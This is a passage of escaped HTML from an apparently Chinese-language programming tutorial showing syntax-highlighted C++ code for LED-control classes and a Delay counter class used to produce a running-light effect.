class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;index: %d, compare: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003etoggleLeds\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexecTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexecTask\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"延时执行类-delay\"\u003e延时执行类 Delay\u003c/h2\u003e\n\u003cp\u003e为了实现 流水 效果, 需要延时(每隔几次运行一次)来执行\u003c/p\u003e\n\u003cp\u003ehpp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eDelay\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003ecpp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan 